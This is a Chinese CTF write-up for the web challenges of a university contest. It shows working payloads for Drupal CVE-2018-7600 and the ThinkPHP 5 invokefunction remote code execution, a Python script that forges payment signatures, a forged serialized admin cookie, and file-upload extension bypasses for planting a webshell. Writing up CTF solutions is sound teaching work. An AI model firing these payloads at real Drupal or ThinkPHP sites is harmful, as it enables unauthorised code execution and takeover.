CUMT第一轮双月赛Web题解

ez-upload

这个题目作为Web题的第一个题难度刚好,很基础的漏洞点,就考了个文件上传,上来直接用phtml就可以绕过,但是给出来的hint是.htaccess,可能是我非预期了?

Fa0BnI.png

菜刀链接获取flag

Fa0rHP.png

Cve

参考了这篇文章:https://www.menzel3.fun/2018/08/02/Drupal%20CVE2018-7600/#代码执行现场

这是一个Drupal 7的cve,照着构造payload就好,payload 分为两个请求。 先将 Payload 注入缓存中,构造下面的payload,发送一个POST包

POST请求:/?q=user/password&name[%23post_render][]=system&name[%23type]=markup&name[%23markup]=ls%20/

POST内容:form_id=user_pass&_triggering_element_name=name

获取form_build_id的value值:

FayX0s.png

然后再POST发送执行的包:/?q=file/ajax/name/%23value/form-b7pP9HUKwcQBEuhZ1GZ79qWXV0KRb5YxUGoWaozSPRU这里也需要form_build_id的值,POST的内容也是:form_build_id=form-b7pP9HUKwcQBEuhZ1GZ79qWXV0KRb5YxUGoWaozSPRU成功执行命令,这里注意一下参考文章里面的passthru命令用不了,只能改为system才能执行相关命令,所以上面缓存的时候换了用system函数

Fa6knJ.png

再来一次cat /flag的操作就可以读取flag了

Fa66Nq.png

shop

这个题是个代码审计的题目,先把源码给down下来

打开这个网站发现有登陆注册功能,以及购买flag的功能,但是这里面要想得到真正的flag却需要888积分才可以购买,这个时候就感觉应该是越权购买flag的漏洞了。。。。

发现源码里面有数据库文件打开看一下,发现是存在管理员的,并且id是16,这个东西后期有用,而且他有30000积分,够买很多flag了,还有商品id 38也可以得知

FaNVu6.md.png

FaNeHO.png

看到代码里面的setting文件,有从secret.key读出来的秘钥

FaNuUe.md.png

看一下里面的秘钥,一定要注意这里还有个回车啊啊啊啊,后边伪造签名有用

FaN1gI.png

重点关注这段代码

FaN3vt.md.png

这里可以看出单单对商品方做了校验(自检验),那购买者呢?不存在对其的任何校验,也就是没有做好双向的校验,这也说明我们可以从伪造购买者的方面去入手,让别人付钱23333

根据它里面的代码去构造signature就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from hashlib import md5
RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE = 'zhinianyuxin\n'
form = {
'order_id': '119',
'buyer_id': '16',
'good_id': '38',
'buyer_point': '200',
'good_price': '50',
'order_create_time': '1544796662.686132'
}
str2sign = RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE + '&'.join([f'{i}={form[i]}' for i in form])
str2sign3= str2sign.encode('utf-8')
sign = md5(str2sign3).hexdigest()
print(sign)

发包构造一下得到flag,注意红色的地方也要做相应的修改,发包得到flag

FaNoKx.png

FaNjGd.png

tp5

这个题目就是最近几天刚爆出来的tp5远程getshell的漏洞,直接上网搜payload,参考了这篇文章:https://mp.weixin.qq.com/s/NQAZPz8uT8eNFyeMT4l8Ig

我用的是下面的payload:

1
http://219.219.61.234:10005/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

最后获取flag

1
http://219.219.61.234:10005/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

FaBebt.png

secret-system

一进去之后会发现login功能没反应,而upload页面也需要管理员权限,肯定是要伪造自己是管理员的身份然后去挖掘文件上传的漏洞,查看源代码无果后顺手看看robots.txt,发现里面有登录的地址

1
2
User-agent: *
Disallow: index.php?r=site/loginuser_1

然后就可以进去登陆的页面,再次查看源代码发现作者的信息

1
2
3
4
<!--
*** author: cib_zhinianyuxin.com
*** code: github.com
-->

顺手去查一下,发现可以用test/cib_sec登录但不是admin,而且泄露的代码里面说明了可以伪造cookie,cookie名称是Cib_security,是一段经过序列化的东西,到时候就可以伪造了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
##README.md

*** author: cib_zhinianyuxin.com

It's just a system which is not completed , there are some tips:

you can use test/cib_sec to login ,but you are not admin!
only admin can upload file ,but whichone can not bypass my rules.

/**
$sign = array(
'id'=>$model->id,
'name'=>$model->username,
'sign'=>md5($model->id.$model->username),
);
$_COOKIE['Cib_security'] = serialize($sign);
**/

以test身份登录后把cookie拿出来然后解码

FadGK1.md.png

然后把里面的MD5解一下发现是2test,那我们就构造一个1admin,构造如下的序列

1
a:3{s:2:"id";i:1;s:4:"name";s:5:"admin";s:4:"sign";s:32:"6c5de1b510e8bdd0bc40eff99dcd03f8";}

再次经过URL编码然后保存一下cookie就可以以admin身份登录,接上来就是文件上传的部分了,这里的文件上传就是个很简单的后缀名绕过,我试了贼久,这个后缀名有点偏,用的pht,然后发包上传一句话木马,菜刀链接,成功获取flag

FawmQA.png

shell?

这个题目确实拓宽了新思路,做了好久才做出来由于特殊原因呢,就不发详细writeup了。。。。

小结

这一次把web给ak了,真是舒服呐23333,截个图留念一下

Fd5Lpd.png


听说,打赏我的人最后都成了大佬。



文章目录
  1. 1. ez-upload
  2. 2. Cve
  3. 3. shop
  4. 4. tp5
  5. 5. secret-system
  6. 6. shell?
  • 小结